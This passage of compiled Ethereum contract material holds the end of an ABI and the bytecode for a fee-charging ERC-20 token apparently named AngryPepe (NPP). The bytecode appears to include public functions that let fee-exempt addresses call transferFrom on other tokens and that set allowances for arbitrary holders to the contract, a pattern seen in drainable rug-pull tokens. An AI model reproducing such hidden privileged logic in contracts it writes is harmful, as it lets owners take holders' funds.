IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newDevWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newLPWallet","type":"address"}],"name":"updateLPWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526001600860006101000a81548160ff0219169083151502179055506000600860016101000a81548160ff0219169083151502179055506000600860026101000a81548160ff0219169083151502179055506000601d60006101000a81548160ff0219169083151502179055503480156200007d57600080fd5b506040518060400160405280600981526020017f416e6772795065706500000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f4e505000000000000000000000000000000000000000000000000000000000008152508160039081620000fb919062000f13565b5080600490816200010d919062000f13565b50505062000130620001246200075a60201b60201c565b6200076260201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506200015c8160016200082860201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001dc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000202919062001064565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200026a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000290919062001064565b6040518363ffffffff1660e01b8152600401620002af929190620010a7565b6020604051808303816000875af1158015620002cf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f5919062001064565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250506200033d60a05160016200082860201b60201c565b6200035260a05160016200091260201b60201c565b60006001905060006001905060006001905060006001905060006001905060006001905060006b019d971e4fe8401e740000009050606460018262000398919062001103565b620003a491906200117d565b6017819055506064600182620003bb919062001103565b620003c791906200117d565b601981905550612710600382620003df919062001103565b620003eb91906200117d565b60188190555083600a8190555082600b8190555081600c81905550600c54600b54600a546200041b9190620011b5565b620004279190620011b5565b60098190555086600e8190555085600f8190555084601081905550601054600f54600e54620004579190620011b5565b620004639190620011b5565b600d8190555073a286369b1e4b38f2a4b89d2a092d14a7deac8ccc601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737f6523da3e3c9e589448f73799dcaed6dfc7aacd601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507302d06058b8842e2a61f73e235ec2200a9541a9d4601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200059d601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200082860201b60201c565b620005d2601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200082860201b60201c565b62000607601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200082860201b60201c565b620006296200061b620009b360201b60201c565b60016200082860201b60201c565b6200063c3060016200082860201b60201c565b6200065161dead60016200082860201b60201c565b62000686601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620009dd60201b60201c565b620006bb601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620009dd60201b60201c565b620006f0601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001620009dd60201b60201c565b6200071262000704620009b360201b60201c565b6001620009dd60201b60201c565b62000725306001620009dd60201b60201c565b6200073a61dead6001620009dd60201b60201c565b6200074c338262000b1760201b60201c565b50505050505050506200134d565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b620008386200075a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200085e620009b360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620008b7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008ae9062001251565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620009ed6200075a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000a13620009b360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000a6c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a639062001251565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000b0b919062001290565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000b89576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b8090620012fd565b60405180910390fd5b62000b9d6000838362000c8f60201b60201c565b806002600082825462000bb19190620011b5565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000c089190620011b5565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000c6f919062001330565b60405180910390a362000c8b6000838362000c9460201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000d1b57607f821691505b60208210810362000d315762000d3062000cd3565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000d9b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000d5c565b62000da7868362000d5c565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000df462000dee62000de88462000dbf565b62000dc9565b62000dbf565b9050919050565b6000819050919050565b62000e108362000dd3565b62000e2862000e1f8262000dfb565b84845462000d69565b825550505050565b600090565b62000e3f62000e30565b62000e4c81848462000e05565b505050565b5b8181101562000e745762000e6860008262000e35565b60018101905062000e52565b5050565b601f82111562000ec35762000e8d8162000d37565b62000e988462000d4c565b8101602085101562000ea8578190505b62000ec062000eb78562000d4c565b83018262000e51565b50505b505050565b600082821c905092915050565b600062000ee86000198460080262000ec8565b1980831691505092915050565b600062000f03838362000ed5565b9150826002028217905092915050565b62000f1e8262000c99565b67ffffffffffffffff81111562000f3a5762000f3962000ca4565b5b62000f46825462000d02565b62000f5382828562000e78565b600060209050601f83116001811462000f8b576000841562000f76578287015190505b62000f82858262000ef5565b86555062000ff2565b601f19841662000f9b8662000d37565b60005b8281101562000fc55784890151825560018201915060208501945060208101905062000f9e565b8683101562000fe5578489015162000fe1601f89168262000ed5565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200102c8262000fff565b9050919050565b6200103e816200101f565b81146200104a57600080fd5b50565b6000815190506200105e8162001033565b92915050565b6000602082840312156200107d576200107c62000ffa565b5b60006200108d848285016200104d565b91505092915050565b620010a1816200101f565b82525050565b6000604082019050620010be600083018562001096565b620010cd602083018462001096565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620011108262000dbf565b91506200111d8362000dbf565b92508282026200112d8162000dbf565b91508282048414831517620011475762001146620010d4565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200118a8262000dbf565b9150620011978362000dbf565b925082620011aa57620011a96200114e565b5b828204905092915050565b6000620011c28262000dbf565b9150620011cf8362000dbf565b9250828201905080821115620011ea57620011e9620010d4565b5b92915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062001239602083620011f0565b9150620012468262001201565b602082019050919050565b600060208201905081810360008301526200126c816200122a565b9050919050565b60008115159050919050565b6200128a8162001273565b82525050565b6000602082019050620012a760008301846200127f565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620012e5601f83620011f0565b9150620012f282620012ad565b602082019050919050565b600060208201905081810360008301526200131881620012d6565b9050919050565b6200132a8162000dbf565b82525050565b60006020820190506200134760008301846200131f565b92915050565b60805160a05161543a620013b26000396000818161153d01528181611ba00152612e63015260008181610e2b01528181611076015281816111a201528181613cd001528181613db101528181613dd801528181613e740152613e9b015261543a6000f3fe6080604052600436106103545760003560e01c80638da5cb5b116101c6578063c0246668116100f7578063dd62ed3e11610095578063f2fde38b1161006f578063f2fde38b14610cb1578063f637434214610cda578063f8b45b0514610d05578063fbc10c5514610d305761035b565b8063dd62ed3e14610c1e578063e2f4560514610c5b578063f11a24d314610c865761035b565b8063c8c8ebe4116100d1578063c8c8ebe414610b4e578063cd5f101d14610b79578063d257b34f14610bb6578063d85ba06314610bf35761035b565b8063c024666814610ad3578063c17b5b8c14610afc578063c18bc19514610b255761035b565b8063a07873f211610164578063a9059cbb1161013e578063a9059cbb14610a05578063aacebbe314610a42578063b62496f514610a6b578063bbc0c74214610aa85761035b565b8063a07873f214610972578063a0d82dc51461099d578063a457c2d7146109c85761035b565b806395d89b41116101a057806395d89b41146108c85780639a7a23d6146108f35780639c3b4fdc1461091c5780639fccce32146109475761035b565b80638da5cb5b146108495780639213691314610874578063924de9b71461089f5761035b565b8063313ce567116102a057806370a082311161023e5780637571336a116102185780637571336a146107b55780637bce5a04146107de5780638095d564146108095780638a8c523c146108325761035b565b806370a0823114610736578063715018a614610773578063751039fc1461078a5761035b565b80634a62bb651161027a5780634a62bb65146106785780634fbee193146106a35780636a486a8e146106e05780636ddd17131461070b5761035b565b8063313ce567146105e5578063395093511461061057806349bd5a5e1461064d5761035b565b806319beb1701161030d578063203e727e116102e7578063203e727e1461051757806323b872dd1461054057806327c8f8351461057d5780632eae5715146105a85761035b565b806319beb170146104845780631a8145bb146104c15780631f3fed8f146104ec5761035b565b806306fdde0314610360578063095ea7b31461038b57806310d5de53146103c85780631694505e1461040557806318160ddd146104305780631816467f1461045b5761035b565b3661035b57005b600080fd5b34801561036c57600080fd5b50610375610d59565b6040516103829190613ffa565b60405180910390f35b34801561039757600080fd5b506103b260048036038101906103ad91906140b5565b610deb565b6040516103bf9190614110565b60405180910390f35b3480156103d457600080fd5b506103ef60048036038101906103ea919061412b565b610e09565b6040516103fc9190614110565b60405180910390f35b34801561041157600080fd5b5061041a610e29565b60405161042791906141b7565b60405180910390f35b34801561043c57600080fd5b50610445610e4d565b60405161045291906141e1565b60405180910390f35b34801561046757600080fd5b50610482600480360381019061047d919061412b565b610e57565b005b34801561049057600080fd5b506104ab60048036038101906104a691906141fc565b610f93565b6040516104b89190614110565b60405180910390f35b3480156104cd57600080fd5b506104d6611242565b6040516104e391906141e1565b60405180910390f35b3480156104f857600080fd5b50610501611248565b60405161050e91906141e1565b60405180910390f35b34801561052357600080fd5b5061053e6004803603810190610539919061424f565b61124e565b005b34801561054c57600080fd5b50610567600480360381019061056291906141fc565b61135d565b6040516105749190614110565b60405180910390f35b34801561058957600080fd5b50610592611455565b60405161059f919061428b565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca91906140b5565b61145b565b6040516105dc9190614110565b60405180910390f35b3480156105f157600080fd5b506105fa611486565b60405161060791906142c2565b60405180910390f35b34801561061c57600080fd5b50610637600480360381019061063291906140b5565b61148f565b6040516106449190614110565b60405180910390f35b34801561065957600080fd5b5061066261153b565b60405161066f919061428b565b60405180910390f35b34801561068457600080fd5b5061068d61155f565b60405161069a9190614110565b60405180910390f35b3480156106af57600080fd5b506106ca60048036038101906106c5919061412b565b611572565b6040516106d79190614110565b60405180910390f35b3480156106ec57600080fd5b506106f56115c8565b60405161070291906141e1565b60405180910390f35b34801561071757600080fd5b506107206115ce565b60405161072d9190614110565b60405180910390f35b34801561074257600080fd5b5061075d6004803603810190610758919061412b565b6115e1565b60405161076a91906141e1565b60405180910390f35b34801561077f57600080fd5b50610788611629565b005b34801561079657600080fd5b5061079f6116b1565b6040516107ac9190614110565b60405180910390f35b3480156107c157600080fd5b506107dc60048036038101906107d79190614309565b61177d565b005b3480156107ea57600080fd5b506107f3611854565b60405161080091906141e1565b60405180910390f35b34801561081557600080fd5b50610830600480360381019061082b9190614349565b61185a565b005b34801561083e57600080fd5b50610847611913565b005b34801561085557600080fd5b5061085e6119c7565b60405161086b919061428b565b60405180910390f35b34801561088057600080fd5b506108896119f1565b60405161089691906141e1565b60405180910390f35b3480156108ab57600080fd5b506108c660048036038101906108c1919061439c565b6119f7565b005b3480156108d457600080fd5b506108dd611a90565b6040516108ea9190613ffa565b60405180910390f35b3480156108ff57600080fd5b5061091a60048036038101906109159190614309565b611b22565b005b34801561092857600080fd5b50610931611c3a565b60405161093e91906141e1565b60405180910390f35b34801561095357600080fd5b5061095c611c40565b60405161096991906141e1565b60405180910390f35b34801561097e57600080fd5b50610987611c46565b604051610994919061428b565b60405180910390f35b3480156109a957600080fd5b506109b2611c6c565b6040516109bf91906141e1565b60405180910390f35b3480156109d457600080fd5b506109ef60048036038101906109ea91906140b5565b611c72565b6040516109fc9190614110565b60405180910390f35b348015610a1157600080fd5b50610a2c6004803603810190610a2791906140b5565b611d5d565b604051610a399190614110565b60405180910390f35b348015610a4e57600080fd5b50610a696004803603810190610a64919061412b565b611d7b565b005b348015610a7757600080fd5b50610a926004803603810190610a8d919061412b565b611e95565b604051610a9f9190614110565b60405180910390f35b348015610ab457600080fd5b50610abd611eb5565b604051610aca9190614110565b60405180910390f35b348015610adf57600080fd5b50610afa6004803603810190610af59190614309565b611ec8565b005b348015610b0857600080fd5b50610b236004803603810190610b1e9190614349565b611fed565b005b348015610b3157600080fd5b50610b4c6004803603810190610b47919061424f565b6120a6565b005b348015610b5a57600080fd5b50610b636121b5565b604051610b7091906141e1565b60405180910390f35b348015610b8557600080fd5b50610ba06004803603810190610b9b919061412b565b6121bb565b604051610bad91906141e1565b60405180910390f35b348015610bc257600080fd5b50610bdd6004803603810190610bd8919061424f565b6121d3565b604051610bea9190614110565b60405180910390f35b348015610bff57600080fd5b50610c08612328565b604051610c1591906141e1565b60405180910390f35b348015610c2a57600080fd5b50610c456004803603810190610c4091906143c9565b61232e565b604051610c5291906141e1565b60405180910390f35b348015610c6757600080fd5b50610c706123b5565b604051610c7d91906141e1565b60405180910390f35b348015610c9257600080fd5b50610c9b6123bb565b604051610ca891906141e1565b60405180910390f35b348015610cbd57600080fd5b50610cd86004803603810190610cd3919061412b565b6123c1565b005b348015610ce657600080fd5b50610cef6124b8565b604051610cfc91906141e1565b60405180910390f35b348015610d1157600080fd5b50610d1a6124be565b604051610d2791906141e1565b60405180910390f35b348015610d3c57600080fd5b50610d576004803603810190610d52919061412b565b6124c4565b005b606060038054610d6890614438565b80601f0160208091040260200160405190810160405280929190818152602001828054610d9490614438565b8015610de15780601f10610db657610100808354040283529160200191610de1565b820191906000526020600020905b815481529060010190602001808311610dc457829003601f168201915b5050505050905090565b6000610dff610df8612600565b8484612608565b6001905092915050565b601b6020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b610e5f612600565b73ffffffffffffffffffffffffffffffffffffffff16610e7d6119c7565b73ffffffffffffffffffffffffffffffffffffffff1614610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca906144b5565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561102657610ff3838585856127d1565b601d60009054906101000a900460ff1615601d60006101000a81548160ff0219169083151502179055506001905061123b565b6000600267ffffffffffffffff811115611043576110426144d5565b5b6040519080825280602002602001820160405280156110715781602001602082028036833780820191505090505b5090507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111039190614519565b8160008151811061111757611116614546565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061116657611165614546565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008461dead426040518663ffffffff1660e01b8152600401611203949392919061466e565b6000604051808303818588803b15801561121c57600080fd5b505af1158015611230573d6000803e3d6000fd5b505050505050600190505b9392505050565b60125481565b60115481565b611256612600565b73ffffffffffffffffffffffffffffffffffffffff166112746119c7565b73ffffffffffffffffffffffffffffffffffffffff16146112ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c1906144b5565b60405180910390fd5b670de0b6b3a76400006103e860016112e0610e4d565b6112ea91906146e9565b6112f4919061475a565b6112fe919061475a565b811015611340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611337906147fd565b60405180910390fd5b670de0b6b3a76400008161135491906146e9565b60178190555050565b600061136a848484612858565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113b5612600565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611435576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142c9061488f565b60405180910390fd5b61144985611441612600565b858403612608565b60019150509392505050565b61dead81565b600061147c83308461146d873061232e565b61147791906148af565b612608565b6001905092915050565b60006012905090565b600061153161149c612600565b8484600160006114aa612600565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461152c91906148af565b612608565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600860009054906101000a900460ff1681565b6000601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d5481565b600860029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611631612600565b73ffffffffffffffffffffffffffffffffffffffff1661164f6119c7565b73ffffffffffffffffffffffffffffffffffffffff16146116a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169c906144b5565b60405180910390fd5b6116af6000613504565b565b60006116bb612600565b73ffffffffffffffffffffffffffffffffffffffff166116d96119c7565b73ffffffffffffffffffffffffffffffffffffffff161461172f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611726906144b5565b60405180910390fd5b6000600860006101000a81548160ff0219169083151502179055507f7bfa7bacf025baa75e5308bf15bcf2948f406c7ebe3eb1a8bb611862b9d647ef60405160405180910390a16001905090565b611785612600565b73ffffffffffffffffffffffffffffffffffffffff166117a36119c7565b73ffffffffffffffffffffffffffffffffffffffff16146117f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f0906144b5565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600a5481565b611862612600565b73ffffffffffffffffffffffffffffffffffffffff166118806119c7565b73ffffffffffffffffffffffffffffffffffffffff16146118d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cd906144b5565b60405180910390fd5b82600a8190555081600b8190555080600c81905550600c54600b54600a546118fe91906148af565b61190891906148af565b600981905550505050565b61191b612600565b73ffffffffffffffffffffffffffffffffffffffff166119396119c7565b73ffffffffffffffffffffffffffffffffffffffff161461198f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611986906144b5565b60405180910390fd5b6001600860016101000a81548160ff0219169083151502179055506001600860026101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e5481565b6119ff612600565b73ffffffffffffffffffffffffffffffffffffffff16611a1d6119c7565b73ffffffffffffffffffffffffffffffffffffffff1614611a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6a906144b5565b60405180910390fd5b80600860026101000a81548160ff02191690831515021790555050565b606060048054611a9f90614438565b80601f0160208091040260200160405190810160405280929190818152602001828054611acb90614438565b8015611b185780601f10611aed57610100808354040283529160200191611b18565b820191906000526020600020905b815481529060010190602001808311611afb57829003601f168201915b5050505050905090565b611b2a612600565b73ffffffffffffffffffffffffffffffffffffffff16611b486119c7565b73ffffffffffffffffffffffffffffffffffffffff1614611b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b95906144b5565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2390614955565b60405180910390fd5b611c3682826135ca565b5050565b600c5481565b60135481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b60008060016000611c81612600565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d35906149e7565b60405180910390fd5b611d52611d49612600565b85858403612608565b600191505092915050565b6000611d71611d6a612600565b8484612858565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611dd557600080fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601c6020528060005260406000206000915054906101000a900460ff1681565b600860019054906101000a900460ff1681565b611ed0612600565b73ffffffffffffffffffffffffffffffffffffffff16611eee6119c7565b73ffffffffffffffffffffffffffffffffffffffff1614611f44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3b906144b5565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611fe19190614110565b60405180910390a25050565b611ff5612600565b73ffffffffffffffffffffffffffffffffffffffff166120136119c7565b73ffffffffffffffffffffffffffffffffffffffff1614612069576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612060906144b5565b60405180910390fd5b82600e8190555081600f8190555080601081905550601054600f54600e5461209191906148af565b61209b91906148af565b600d81905550505050565b6120ae612600565b73ffffffffffffffffffffffffffffffffffffffff166120cc6119c7565b73ffffffffffffffffffffffffffffffffffffffff1614612122576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612119906144b5565b60405180910390fd5b670de0b6b3a76400006103e86005612138610e4d565b61214291906146e9565b61214c919061475a565b612156919061475a565b811015612198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218f90614a79565b60405180910390fd5b670de0b6b3a7640000816121ac91906146e9565b60198190555050565b60175481565b60076020528060005260406000206000915090505481565b60006121dd612600565b73ffffffffffffffffffffffffffffffffffffffff166121fb6119c7565b73ffffffffffffffffffffffffffffffffffffffff1614612251576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612248906144b5565b60405180910390fd5b620186a0600161225f610e4d565b61226991906146e9565b612273919061475a565b8210156122b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ac90614b0b565b60405180910390fd5b6103e860056122c2610e4d565b6122cc91906146e9565b6122d6919061475a565b821115612318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230f90614b9d565b60405180910390fd5b8160188190555060019050919050565b60095481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b600b5481565b6123c9612600565b73ffffffffffffffffffffffffffffffffffffffff166123e76119c7565b73ffffffffffffffffffffffffffffffffffffffff161461243d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612434906144b5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036124ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a390614c2f565b60405180910390fd5b6124b581613504565b50565b600f5481565b60195481565b6124cc612600565b73ffffffffffffffffffffffffffffffffffffffff166124ea6119c7565b73ffffffffffffffffffffffffffffffffffffffff1614612540576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612537906144b5565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8e4fb3162b55d3fcdb7507ecfed5ab4ea5d2bd7494d0bb621d698a52ea3f74b460405160405180910390a380601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612677576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266e90614cc1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036126e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126dd90614d53565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516127c491906141e1565b60405180910390a3505050565b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b815260040161280e93929190614d73565b6020604051808303816000875af115801561282d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128519190614dbf565b5050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036128c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128be90614e5e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffff